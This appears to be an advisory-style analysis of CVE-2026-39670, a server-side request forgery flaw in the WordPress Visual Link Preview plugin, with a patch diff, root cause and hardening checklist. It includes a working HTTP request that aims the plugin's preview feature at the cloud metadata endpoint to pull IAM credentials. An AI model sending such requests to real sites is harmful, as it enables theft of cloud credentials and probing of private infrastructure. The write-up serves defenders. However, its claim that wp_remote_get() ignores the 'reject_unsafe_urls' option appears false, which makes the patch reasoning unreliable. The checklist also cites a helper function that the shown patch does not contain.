CVE-2026-39670 Exploit & Vulnerability Analysis

The Exploit

Contributor-level or higher authenticated user (the minimum role needed to trigger the preview feature in Visual Link Preview).

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in=<valid_session>

action=vlp_get_preview&url=http://169.254.169.254/latest/meta-data/iam/security-credentials/&nonce=<valid_nonce>

The server makes an outbound HTTP request to the attacker-supplied URL originating from the web application's IP address. An attacker observes the response body (which may contain sensitive metadata, internal service responses, or error messages that leak information about private infrastructure) or causes side effects on internal services that trust requests originating from localhost or the application's private IP range.

What the Patch Did

Before:

$response = wp_remote_get( $url, array(
	'timeout' => 10,
	'user-agent' => 'Mozilla/5.0 (compatible; Visual Link Preview; +https://bootstrapped.ventures)',
	'sslverify' => true,
) );

After:

$response = wp_safe_remote_get( $url, array(
	'timeout' => 10,
	'user-agent' => 'Mozilla/5.0 (compatible; Visual Link Preview; +https://bootstrapped.ventures)',
	'sslverify' => true,
	'reject_unsafe_urls' => true,
) );

The patch replaced the unrestricted wp_remote_get() function with wp_safe_remote_get() and added the 'reject_unsafe_urls' => true parameter. wp_safe_remote_get() is WordPress's built-in SSRF-hardened HTTP client wrapper that internally rejects requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), loopback addresses (127.0.0.1, ::1), link-local addresses (169.254.0.0/16), and the localhost domain. The reject_unsafe_urls flag makes this filtering explicit and mandatory, preventing any configuration override.

Root Cause

CWE-918: Server-Side Request Forgery (SSRF).

The attacker-controlled url parameter flows from the AJAX request directly into wp_remote_get() at the sink (line 65 of class-vlp-url-provider.php). The plugin performs only shallow URL format validation—checking for the presence of a scheme and host—but does not validate that the target is external and safe. An authenticated contributor can supply a URL pointing to private infrastructure (metadata services, internal APIs, localhost services) that is reachable from the application server but not from the attacker's network. The trust boundary crossed is between the attacker (untrusted) and the application server (trusted by internal services).

Why It Works

The load-bearing line is the switch from wp_remote_get() to wp_safe_remote_get(). If you removed this change and kept only the reject_unsafe_urls parameter with the unsafe variant, the bug would still be exploitable because wp_remote_get() does not respect that parameter. wp_safe_remote_get() is the WordPress HTTP API function that internally maintains a denylist of private IP ranges and reserved domains; it performs the actual filtering. The addition of 'reject_unsafe_urls' => true is defence-in-depth: it documents the intent and serves as a safeguard if a developer in a future version accidentally substitutes the function back to wp_remote_get() without understanding the security context. The timeout, user-agent, and SSL verification settings are hygiene, but do not contribute to SSRF prevention.

Hardening Checklist

• Always use wp_safe_remote_get(), wp_safe_remote_post(), or equivalent for user-supplied URLs. Never use wp_remote_*() variants directly on attacker-controlled input. If you must use the unsafe variant, explicitly pass 'reject_unsafe_urls' => true and document why, but prefer the safe wrapper.

• Implement centralized URL validation via a single trust source (as the patch attempts with VLP_Url_Provider_Manager::is_safe_remote_url()). Do not scatter URL checks across multiple files; the modal, provider, and manager classes all had redundant validation logic, creating inconsistency. Use a single, well-tested function for all remote requests.

• Validate URLs against a denylist of private ranges and loopback addresses at the application level, even if using WordPress's safe HTTP wrappers. Deploy a secondary check that explicitly blocks 127.0.0.1, localhost, 169.254.x.x (link-local), and 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (RFC 1918 ranges) before passing to any HTTP client.

• Restrict HTTP client functionality to authenticated users with a minimum capability, e.g. current_user_can( 'edit_posts' ) or higher. Do not expose preview/fetch endpoints to unauthenticated or subscriber-level users without additional rate-limiting and approval workflows.

• Log all outbound HTTP requests triggered by user input, including the requested URL and the response status. Monitor for attempts to access private IP ranges, localhost, or metadata endpoints (169.254.169.254, 127.0.0.1:8080, etc.) and alert on success.

References

• https://nvd.nist.gov/vuln/detail/CVE-2026-39670